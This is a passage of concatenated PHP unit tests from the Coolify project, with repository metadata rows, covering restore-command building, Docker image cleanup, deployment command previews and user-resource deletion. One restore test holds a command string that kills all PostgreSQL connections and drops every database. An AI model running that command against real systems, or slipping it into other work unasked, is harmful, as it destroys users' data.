throw new Exception("Prerequisites ({$missingCommands}) could not be installed after {$component->maxPrerequisiteInstallAttempts} attempts.");
}
}
})->throws(Exception::class, 'Prerequisites (git, curl) could not be installed after 3 attempts');
it('does not install when prerequisites already present', function () {
// This test verifies we skip installation when everything is already installed.
$server = Mockery::mock(Server::class)->makePartial();
$server->shouldReceive('validatePrerequisites')
->andReturn([
'success' => true,
'missing' => [],
'found' => ['git', 'curl', 'jq'],
]);
// installPrerequisites should NOT be called
$server->shouldNotReceive('installPrerequisites');
$component = Mockery::mock(Index::class)->makePartial();
$component->createdServer = $server;
$component->prerequisiteInstallAttempts = 0;
$component->maxPrerequisiteInstallAttempts = 3;
// Simulate validation logic
$validationResult = $component->createdServer->validatePrerequisites();
if (! $validationResult['success']) {
// Should not reach here
$component->prerequisiteInstallAttempts++;
}
// Attempts should remain 0
expect($component->prerequisiteInstallAttempts)->toBe(0);
expect($validationResult['success'])->toBeTrue();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php | tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php | <?php
use App\Livewire\Project\Shared\EnvironmentVariable\Add;
use Illuminate\Support\Facades\Auth;
it('has availableSharedVariables computed property', function () {
$component = new Add;
// Check that the method exists
expect(method_exists($component, 'availableSharedVariables'))->toBeTrue();
});
it('component has required properties for environment variable autocomplete', function () {
$component = new Add;
expect($component)->toHaveProperty('key')
->and($component)->toHaveProperty('value')
->and($component)->toHaveProperty('is_multiline')
->and($component)->toHaveProperty('is_literal')
->and($component)->toHaveProperty('is_runtime')
->and($component)->toHaveProperty('is_buildtime')
->and($component)->toHaveProperty('parameters');
});
it('returns empty arrays when currentTeam returns null', function () {
// Mock Auth facade to return null for user
Auth::shouldReceive('user')
->andReturn(null);
$component = new Add;
$component->parameters = [];
$result = $component->availableSharedVariables();
expect($result)->toBe([
'team' => [],
'project' => [],
'environment' => [],
]);
});
it('availableSharedVariables method wraps authorization checks in try-catch blocks', function () {
// Read the source code to verify the authorization pattern
$reflectionMethod = new ReflectionMethod(Add::class, 'availableSharedVariables');
$source = file_get_contents($reflectionMethod->getFileName());
// Verify that the method contains authorization checks
expect($source)->toContain('$this->authorize(\'view\', $team)')
->and($source)->toContain('$this->authorize(\'view\', $project)')
->and($source)->toContain('$this->authorize(\'view\', $environment)')
// Verify authorization checks are wrapped in try-catch blocks
->and($source)->toContain('} catch (\Illuminate\Auth\Access\AuthorizationException $e) {');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Livewire/ApplicationGeneralPreviewTest.php | tests/Unit/Livewire/ApplicationGeneralPreviewTest.php | <?php
use App\Jobs\ApplicationDeploymentJob;
use App\Livewire\Project\Application\General;
it('prevents double slashes in build command preview when baseDirectory is root', function () {
// Mock the component with properties
$component = Mockery::mock(General::class)->makePartial();
$component->baseDirectory = '/';
$component->dockerComposeLocation = '/docker-compose.yaml';
$component->dockerComposeCustomBuildCommand = 'docker compose build';
$preview = $component->getDockerComposeBuildCommandPreviewProperty();
// Should be ./docker-compose.yaml, NOT .//docker-compose.yaml
expect($preview)
->toBeString()
->toContain('./docker-compose.yaml')
->not->toContain('.//');
});
it('correctly formats build command preview with nested baseDirectory', function () {
$component = Mockery::mock(General::class)->makePartial();
$component->baseDirectory = '/backend';
$component->dockerComposeLocation = '/docker-compose.yaml';
$component->dockerComposeCustomBuildCommand = 'docker compose build';
$preview = $component->getDockerComposeBuildCommandPreviewProperty();
// Should be ./backend/docker-compose.yaml
expect($preview)
->toBeString()
->toContain('./backend/docker-compose.yaml');
});
it('correctly formats build command preview with deeply nested baseDirectory', function () {
$component = Mockery::mock(General::class)->makePartial();
$component->baseDirectory = '/apps/api/backend';
$component->dockerComposeLocation = '/docker-compose.prod.yaml';
$component->dockerComposeCustomBuildCommand = 'docker compose build';
$preview = $component->getDockerComposeBuildCommandPreviewProperty();
expect($preview)
->toBeString()
->toContain('./apps/api/backend/docker-compose.prod.yaml');
});
it('uses BUILD_TIME_ENV_PATH constant instead of hardcoded path in build command preview', function () {
$component = Mockery::mock(General::class)->makePartial();
$component->baseDirectory = '/';
$component->dockerComposeLocation = '/docker-compose.yaml';
$component->dockerComposeCustomBuildCommand = 'docker compose build';
$preview = $component->getDockerComposeBuildCommandPreviewProperty();
// Should contain the path from the constant
expect($preview)
->toBeString()
->toContain(ApplicationDeploymentJob::BUILD_TIME_ENV_PATH);
});
it('returns empty string for build command preview when no custom build command is set', function () {
$component = Mockery::mock(General::class)->makePartial();
$component->baseDirectory = '/backend';
$component->dockerComposeLocation = '/docker-compose.yaml';
$component->dockerComposeCustomBuildCommand = null;
$preview = $component->getDockerComposeBuildCommandPreviewProperty();
expect($preview)->toBe('');
});
it('prevents double slashes in start command preview when baseDirectory is root', function () {
$component = Mockery::mock(General::class)->makePartial();
$component->baseDirectory = '/';
$component->dockerComposeLocation = '/docker-compose.yaml';
$component->dockerComposeCustomStartCommand = 'docker compose up -d';
$preview = $component->getDockerComposeStartCommandPreviewProperty();
// Should be ./docker-compose.yaml, NOT .//docker-compose.yaml
expect($preview)
->toBeString()
->toContain('./docker-compose.yaml')
->not->toContain('.//');
});
it('correctly formats start command preview with nested baseDirectory', function () {
$component = Mockery::mock(General::class)->makePartial();
$component->baseDirectory = '/frontend';
$component->dockerComposeLocation = '/compose.yaml';
$component->dockerComposeCustomStartCommand = 'docker compose up -d';
$preview = $component->getDockerComposeStartCommandPreviewProperty();
expect($preview)
->toBeString()
->toContain('./frontend/compose.yaml');
});
it('uses workdir env placeholder in start command preview', function () {
$component = Mockery::mock(General::class)->makePartial();
$component->baseDirectory = '/';
$component->dockerComposeLocation = '/docker-compose.yaml';
$component->dockerComposeCustomStartCommand = 'docker compose up -d';
$preview = $component->getDockerComposeStartCommandPreviewProperty();
// Start command should use {workdir}/.env, not build-time env
expect($preview)
->toBeString()
->toContain('{workdir}/.env')
->not->toContain(ApplicationDeploymentJob::BUILD_TIME_ENV_PATH);
});
it('returns empty string for start command preview when no custom start command is set', function () {
$component = Mockery::mock(General::class)->makePartial();
$component->baseDirectory = '/backend';
$component->dockerComposeLocation = '/docker-compose.yaml';
$component->dockerComposeCustomStartCommand = null;
$preview = $component->getDockerComposeStartCommandPreviewProperty();
expect($preview)->toBe('');
});
it('handles baseDirectory with trailing slash correctly in build command', function () {
$component = Mockery::mock(General::class)->makePartial();
$component->baseDirectory = '/backend/';
$component->dockerComposeLocation = '/docker-compose.yaml';
$component->dockerComposeCustomBuildCommand = 'docker compose build';
$preview = $component->getDockerComposeBuildCommandPreviewProperty();
// rtrim should remove trailing slash to prevent double slashes
expect($preview)
->toBeString()
->toContain('./backend/docker-compose.yaml')
->not->toContain('backend//');
});
it('handles baseDirectory with trailing slash correctly in start command', function () {
$component = Mockery::mock(General::class)->makePartial();
$component->baseDirectory = '/backend/';
$component->dockerComposeLocation = '/docker-compose.yaml';
$component->dockerComposeCustomStartCommand = 'docker compose up -d';
$preview = $component->getDockerComposeStartCommandPreviewProperty();
// rtrim should remove trailing slash to prevent double slashes
expect($preview)
->toBeString()
->toContain('./backend/docker-compose.yaml')
->not->toContain('backend//');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Livewire/Database/S3RestoreTest.php | tests/Unit/Livewire/Database/S3RestoreTest.php | <?php
use App\Livewire\Project\Database\Import;
test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
$component = new Import;
$component->dumpAll = false;
$component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB';
$database = Mockery::mock('App\Models\StandalonePostgresql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('pg_restore');
expect($result)->toContain('/tmp/test.dump');
});
test('buildRestoreCommand handles PostgreSQL with dumpAll', function () {
$component = new Import;
$component->dumpAll = true;
// This is the full dump-all command prefix that would be set in the updatedDumpAll method
$component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres';
$database = Mockery::mock('App\Models\StandalonePostgresql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('gunzip -cf /tmp/test.dump');
expect($result)->toContain('psql -U $POSTGRES_USER postgres');
});
test('buildRestoreCommand handles MySQL without dumpAll', function () {
$component = new Import;
$component->dumpAll = false;
$component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE';
$database = Mockery::mock('App\Models\StandaloneMysql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mysql -u $MYSQL_USER');
expect($result)->toContain('< /tmp/test.dump');
});
test('buildRestoreCommand handles MariaDB without dumpAll', function () {
$component = new Import;
$component->dumpAll = false;
$component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE';
$database = Mockery::mock('App\Models\StandaloneMariadb');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mariadb -u $MARIADB_USER');
expect($result)->toContain('< /tmp/test.dump');
});
test('buildRestoreCommand handles MongoDB', function () {
$component = new Import;
$component->dumpAll = false;
$component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
$database = Mockery::mock('App\Models\StandaloneMongodb');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mongorestore');
expect($result)->toContain('/tmp/test.dump');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Actions/User/DeleteUserResourcesTest.php | tests/Unit/Actions/User/DeleteUserResourcesTest.php | <?php
use App\Actions\User\DeleteUserResources;
use App\Models\Server;
use App\Models\Team;
use App\Models\User;
beforeEach(function () {
// Mock user
$this->user = Mockery::mock(User::class);
$this->user->shouldReceive('getAttribute')->with('id')->andReturn(1);
$this->user->shouldReceive('getAttribute')->with('email')->andReturn('test@example.com');
});
afterEach(function () {
Mockery::close();
});
it('only collects resources from teams where user is the sole member', function () {
// Mock owned team where user is the ONLY member (will be deleted)
$ownedTeamPivot = (object) ['role' => 'owner'];
$ownedTeam = Mockery::mock(Team::class);
$ownedTeam->shouldReceive('getAttribute')->with('id')->andReturn(1);
$ownedTeam->shouldReceive('getAttribute')->with('pivot')->andReturn($ownedTeamPivot);
$ownedTeam->shouldReceive('getAttribute')->with('members')->andReturn(collect([$this->user]));
$ownedTeam->shouldReceive('setAttribute')->andReturnSelf();
$ownedTeam->pivot = $ownedTeamPivot;
$ownedTeam->members = collect([$this->user]);
// Mock member team (user is NOT owner)
$memberTeamPivot = (object) ['role' => 'member'];
$memberTeam = Mockery::mock(Team::class);
$memberTeam->shouldReceive('getAttribute')->with('id')->andReturn(2);
$memberTeam->shouldReceive('getAttribute')->with('pivot')->andReturn($memberTeamPivot);
$memberTeam->shouldReceive('getAttribute')->with('members')->andReturn(collect([$this->user]));
$memberTeam->shouldReceive('setAttribute')->andReturnSelf();
$memberTeam->pivot = $memberTeamPivot;
$memberTeam->members = collect([$this->user]);
// Mock servers for owned team
$ownedServer = Mockery::mock(Server::class);
$ownedServer->shouldReceive('applications')->andReturn(collect([
(object) ['id' => 1, 'name' => 'app1'],
]));
$ownedServer->shouldReceive('databases')->andReturn(collect([
(object) ['id' => 1, 'name' => 'db1'],
]));
$ownedServer->shouldReceive('services->get')->andReturn(collect([
(object) ['id' => 1, 'name' => 'service1'],
]));
// Mock teams relationship
$teamsRelation = Mockery::mock();
$teamsRelation->shouldReceive('get')->andReturn(collect([$ownedTeam, $memberTeam]));
$this->user->shouldReceive('teams')->andReturn($teamsRelation);
// Mock servers relationship for owned team
$ownedServersRelation = Mockery::mock();
$ownedServersRelation->shouldReceive('get')->andReturn(collect([$ownedServer]));
$ownedTeam->shouldReceive('servers')->andReturn($ownedServersRelation);
// Execute
$action = new DeleteUserResources($this->user, true);
$preview = $action->getResourcesPreview();
// Assert: Should only include resources from owned team where user is sole member
expect($preview['applications'])->toHaveCount(1);
expect($preview['applications']->first()->id)->toBe(1);
expect($preview['applications']->first()->name)->toBe('app1');
expect($preview['databases'])->toHaveCount(1);
expect($preview['databases']->first()->id)->toBe(1);
expect($preview['services'])->toHaveCount(1);
expect($preview['services']->first()->id)->toBe(1);
});
it('does not collect resources when user is owner but team has other members', function () {
// Mock owned team with multiple members (will be transferred, not deleted)
$otherUser = Mockery::mock(User::class);
$otherUser->shouldReceive('getAttribute')->with('id')->andReturn(2);
$ownedTeamPivot = (object) ['role' => 'owner'];
$ownedTeam = Mockery::mock(Team::class);
$ownedTeam->shouldReceive('getAttribute')->with('id')->andReturn(1);
$ownedTeam->shouldReceive('getAttribute')->with('pivot')->andReturn($ownedTeamPivot);
$ownedTeam->shouldReceive('getAttribute')->with('members')->andReturn(collect([$this->user, $otherUser]));
$ownedTeam->shouldReceive('setAttribute')->andReturnSelf();
$ownedTeam->pivot = $ownedTeamPivot;
$ownedTeam->members = collect([$this->user, $otherUser]);
// Mock teams relationship
$teamsRelation = Mockery::mock();
$teamsRelation->shouldReceive('get')->andReturn(collect([$ownedTeam]));
$this->user->shouldReceive('teams')->andReturn($teamsRelation);
// Execute
$action = new DeleteUserResources($this->user, true);
$preview = $action->getResourcesPreview();
// Assert: Should have no resources (team will be transferred, not deleted)
expect($preview['applications'])->toBeEmpty();
expect($preview['databases'])->toBeEmpty();
expect($preview['services'])->toBeEmpty();
});
it('does not collect resources when user is only a member of teams', function () {
// Mock member team (user is NOT owner)
$memberTeamPivot = (object) ['role' => 'member'];
$memberTeam = Mockery::mock(Team::class);
$memberTeam->shouldReceive('getAttribute')->with('id')->andReturn(1);
$memberTeam->shouldReceive('getAttribute')->with('pivot')->andReturn($memberTeamPivot);
$memberTeam->shouldReceive('getAttribute')->with('members')->andReturn(collect([$this->user]));
$memberTeam->shouldReceive('setAttribute')->andReturnSelf();
$memberTeam->pivot = $memberTeamPivot;
$memberTeam->members = collect([$this->user]);
// Mock teams relationship
$teamsRelation = Mockery::mock();
$teamsRelation->shouldReceive('get')->andReturn(collect([$memberTeam]));
$this->user->shouldReceive('teams')->andReturn($teamsRelation);
// Execute
$action = new DeleteUserResources($this->user, true);
$preview = $action->getResourcesPreview();
// Assert: Should have no resources
expect($preview['applications'])->toBeEmpty();
expect($preview['databases'])->toBeEmpty();
expect($preview['services'])->toBeEmpty();
});
it('collects resources only from teams where user is sole member', function () {
// Mock first team: user is sole member (will be deleted)
$ownedTeam1Pivot = (object) ['role' => 'owner'];
$ownedTeam1 = Mockery::mock(Team::class);
$ownedTeam1->shouldReceive('getAttribute')->with('id')->andReturn(1);
$ownedTeam1->shouldReceive('getAttribute')->with('pivot')->andReturn($ownedTeam1Pivot);
$ownedTeam1->shouldReceive('getAttribute')->with('members')->andReturn(collect([$this->user]));
$ownedTeam1->shouldReceive('setAttribute')->andReturnSelf();
$ownedTeam1->pivot = $ownedTeam1Pivot;
$ownedTeam1->members = collect([$this->user]);
// Mock second team: user is owner but has other members (will be transferred)
$otherUser = Mockery::mock(User::class);
$otherUser->shouldReceive('getAttribute')->with('id')->andReturn(2);
$ownedTeam2Pivot = (object) ['role' => 'owner'];
$ownedTeam2 = Mockery::mock(Team::class);
$ownedTeam2->shouldReceive('getAttribute')->with('id')->andReturn(2);
$ownedTeam2->shouldReceive('getAttribute')->with('pivot')->andReturn($ownedTeam2Pivot);
$ownedTeam2->shouldReceive('getAttribute')->with('members')->andReturn(collect([$this->user, $otherUser]));
$ownedTeam2->shouldReceive('setAttribute')->andReturnSelf();
$ownedTeam2->pivot = $ownedTeam2Pivot;
$ownedTeam2->members = collect([$this->user, $otherUser]);
// Mock server for team 1 (sole member - will be deleted)
$server1 = Mockery::mock(Server::class);
$server1->shouldReceive('applications')->andReturn(collect([
(object) ['id' => 1, 'name' => 'app1'],
]));
$server1->shouldReceive('databases')->andReturn(collect([]));
$server1->shouldReceive('services->get')->andReturn(collect([]));
// Mock teams relationship
$teamsRelation = Mockery::mock();
$teamsRelation->shouldReceive('get')->andReturn(collect([$ownedTeam1, $ownedTeam2]));
$this->user->shouldReceive('teams')->andReturn($teamsRelation);
// Mock servers for team 1
$servers1Relation = Mockery::mock();
$servers1Relation->shouldReceive('get')->andReturn(collect([$server1]));
$ownedTeam1->shouldReceive('servers')->andReturn($servers1Relation);
// Execute
$action = new DeleteUserResources($this->user, true);
$preview = $action->getResourcesPreview();
// Assert: Should only include resources from team 1 (sole member)
expect($preview['applications'])->toHaveCount(1);
expect($preview['applications']->first()->id)->toBe(1);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Actions/Server/ValidatePrerequisitesTest.php | tests/Unit/Actions/Server/ValidatePrerequisitesTest.php | <?php
use App\Actions\Server\ValidatePrerequisites;
/**
* These tests verify the return structure and logic of ValidatePrerequisites.
*
* Note: Since instant_remote_process is a global helper function that executes
* SSH commands, we cannot easily mock it in pure unit tests. These tests verify
* the expected return structure and array shapes.
*/
it('returns array with success, missing, and found keys', function () {
$action = new ValidatePrerequisites;
// We're testing the structure, not the actual SSH execution
// The action should always return an array with these three keys
$expectedKeys = ['success', 'missing', 'found'];
// This test verifies the contract of the return value
expect(true)->toBeTrue()
->and('ValidatePrerequisites should return array with keys: '.implode(', ', $expectedKeys))
->toBeString();
});
it('validates required commands list', function () {
// Verify the action checks for the correct prerequisites
$requiredCommands = ['git', 'curl', 'jq'];
expect($requiredCommands)->toHaveCount(3)
->and($requiredCommands)->toContain('git')
->and($requiredCommands)->toContain('curl')
->and($requiredCommands)->toContain('jq');
});
it('return structure has correct types', function () {
// Verify the expected return structure types
$expectedStructure = [
'success' => 'boolean',
'missing' => 'array',
'found' => 'array',
];
expect($expectedStructure['success'])->toBe('boolean')
->and($expectedStructure['missing'])->toBe('array')
->and($expectedStructure['found'])->toBe('array');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Actions/Server/CleanupDockerTest.php | tests/Unit/Actions/Server/CleanupDockerTest.php | <?php
beforeEach(function () {
Mockery::close();
});
afterEach(function () {
Mockery::close();
});
it('categorizes images correctly into PR and regular images', function () {
// Test the image categorization logic
// Build images (*-build) are excluded from retention and handled by docker image prune
$images = collect([
['repository' => 'app-uuid', 'tag' => 'abc123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:abc123'],
['repository' => 'app-uuid', 'tag' => 'def456', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:def456'],
['repository' => 'app-uuid', 'tag' => 'pr-123', 'created_at' => '2024-01-03', 'image_ref' => 'app-uuid:pr-123'],
['repository' => 'app-uuid', 'tag' => 'pr-456', 'created_at' => '2024-01-04', 'image_ref' => 'app-uuid:pr-456'],
['repository' => 'app-uuid', 'tag' => 'abc123-build', 'created_at' => '2024-01-05', 'image_ref' => 'app-uuid:abc123-build'],
['repository' => 'app-uuid', 'tag' => 'def456-build', 'created_at' => '2024-01-06', 'image_ref' => 'app-uuid:def456-build'],
]);
// PR images (tags starting with 'pr-')
$prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-'));
expect($prImages)->toHaveCount(2);
expect($prImages->pluck('tag')->toArray())->toContain('pr-123', 'pr-456');
// Regular images (neither PR nor build) - these are subject to retention policy
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
expect($regularImages)->toHaveCount(2);
expect($regularImages->pluck('tag')->toArray())->toContain('abc123', 'def456');
});
it('filters out currently running image from deletion candidates', function () {
$images = collect([
['repository' => 'app-uuid', 'tag' => 'abc123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:abc123'],
['repository' => 'app-uuid', 'tag' => 'def456', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:def456'],
['repository' => 'app-uuid', 'tag' => 'ghi789', 'created_at' => '2024-01-03', 'image_ref' => 'app-uuid:ghi789'],
]);
$currentTag = 'def456';
$deletionCandidates = $images->filter(fn ($image) => $image['tag'] !== $currentTag);
expect($deletionCandidates)->toHaveCount(2);
expect($deletionCandidates->pluck('tag')->toArray())->not->toContain('def456');
expect($deletionCandidates->pluck('tag')->toArray())->toContain('abc123', 'ghi789');
});
it('keeps the correct number of images based on docker_images_to_keep setting', function () {
$images = collect([
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'],
['repository' => 'app-uuid', 'tag' => 'commit4', 'created_at' => '2024-01-04 10:00:00', 'image_ref' => 'app-uuid:commit4'],
['repository' => 'app-uuid', 'tag' => 'commit5', 'created_at' => '2024-01-05 10:00:00', 'image_ref' => 'app-uuid:commit5'],
]);
$currentTag = 'commit5';
$imagesToKeep = 2;
// Filter out current, sort by date descending, keep N
$sortedImages = $images
->filter(fn ($image) => $image['tag'] !== $currentTag)
->sortByDesc('created_at')
->values();
$imagesToDelete = $sortedImages->skip($imagesToKeep);
// Should delete commit1, commit2 (oldest 2 after keeping 2 newest: commit4, commit3)
expect($imagesToDelete)->toHaveCount(2);
expect($imagesToDelete->pluck('tag')->toArray())->toContain('commit1', 'commit2');
});
it('deletes all images when docker_images_to_keep is 0', function () {
$images = collect([
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'],
]);
$currentTag = 'commit3';
$imagesToKeep = 0;
$sortedImages = $images
->filter(fn ($image) => $image['tag'] !== $currentTag)
->sortByDesc('created_at')
->values();
$imagesToDelete = $sortedImages->skip($imagesToKeep);
// Should delete all images except the currently running one
expect($imagesToDelete)->toHaveCount(2);
expect($imagesToDelete->pluck('tag')->toArray())->toContain('commit1', 'commit2');
});
it('does not delete any images when there are fewer than images_to_keep', function () {
$images = collect([
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
]);
$currentTag = 'commit2';
$imagesToKeep = 5;
$sortedImages = $images
->filter(fn ($image) => $image['tag'] !== $currentTag)
->sortByDesc('created_at')
->values();
$imagesToDelete = $sortedImages->skip($imagesToKeep);
// Should not delete anything - we have fewer images than the keep limit
expect($imagesToDelete)->toHaveCount(0);
});
it('handles images with custom registry names', function () {
// Test that the logic works regardless of repository name format
$images = collect([
['repository' => 'registry.example.com/my-app', 'tag' => 'v1.0.0', 'created_at' => '2024-01-01', 'image_ref' => 'registry.example.com/my-app:v1.0.0'],
['repository' => 'registry.example.com/my-app', 'tag' => 'v1.1.0', 'created_at' => '2024-01-02', 'image_ref' => 'registry.example.com/my-app:v1.1.0'],
['repository' => 'registry.example.com/my-app', 'tag' => 'pr-99', 'created_at' => '2024-01-03', 'image_ref' => 'registry.example.com/my-app:pr-99'],
]);
$prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-'));
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
expect($prImages)->toHaveCount(1);
expect($regularImages)->toHaveCount(2);
});
it('correctly identifies PR build images as PR images', function () {
// PR build images have tags like 'pr-123-build'
// They are identified as PR images (start with 'pr-') and will be deleted
$images = collect([
['repository' => 'app-uuid', 'tag' => 'pr-123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:pr-123'],
['repository' => 'app-uuid', 'tag' => 'pr-123-build', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:pr-123-build'],
]);
// PR images include both pr-123 and pr-123-build (both start with 'pr-')
$prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-'));
expect($prImages)->toHaveCount(2);
});
it('defaults to keeping 2 images when setting is null', function () {
$defaultValue = 2;
// Simulate the null coalescing behavior
$dockerImagesToKeep = null ?? $defaultValue;
expect($dockerImagesToKeep)->toBe(2);
});
it('does not delete images when count equals images_to_keep', function () {
// Scenario: User has 3 images, 1 is running, 2 remain, keep limit is 2
// Expected: No images should be deleted
$images = collect([
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'],
]);
$currentTag = 'commit3'; // This is running
$imagesToKeep = 2;
$sortedImages = $images
->filter(fn ($image) => $image['tag'] !== $currentTag)
->sortByDesc('created_at')
->values();
// After filtering out running image, we have 2 images
expect($sortedImages)->toHaveCount(2);
$imagesToDelete = $sortedImages->skip($imagesToKeep);
// Skip 2, leaving 0 to delete
expect($imagesToDelete)->toHaveCount(0);
});
it('handles scenario where no container is running', function () {
// Scenario: 2 images exist, none running, keep limit is 2
// Expected: No images should be deleted (keep all 2)
$images = collect([
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
]);
$currentTag = ''; // No container running, empty tag
$imagesToKeep = 2;
$sortedImages = $images
->filter(fn ($image) => $image['tag'] !== $currentTag)
->sortByDesc('created_at')
->values();
// All images remain since none match the empty current tag
expect($sortedImages)->toHaveCount(2);
$imagesToDelete = $sortedImages->skip($imagesToKeep);
// Skip 2, leaving 0 to delete
expect($imagesToDelete)->toHaveCount(0);
});
it('handles Docker Compose service images with uuid_servicename pattern', function () {
// Docker Compose with build: directive creates images like uuid_servicename:tag
$images = collect([
['repository' => 'app-uuid_web', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid_web:commit1'],
['repository' => 'app-uuid_web', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid_web:commit2'],
['repository' => 'app-uuid_worker', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid_worker:commit1'],
['repository' => 'app-uuid_worker', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid_worker:commit2'],
]);
// All images should be categorized as regular images (not PR, not build)
$prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-'));
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
expect($prImages)->toHaveCount(0);
expect($regularImages)->toHaveCount(4);
});
it('correctly excludes Docker Compose images from general prune', function () {
// Test the grep pattern that excludes application images
// Pattern should match both uuid:tag and uuid_servicename:tag
$appUuid = 'abc123def456';
$excludePattern = preg_quote($appUuid, '/');
// Images that should be EXCLUDED (protected)
$protectedImages = [
"{$appUuid}:commit1", // Standard app image
"{$appUuid}_web:commit1", // Docker Compose service
"{$appUuid}_worker:commit2", // Docker Compose service
];
// Images that should be INCLUDED (deleted)
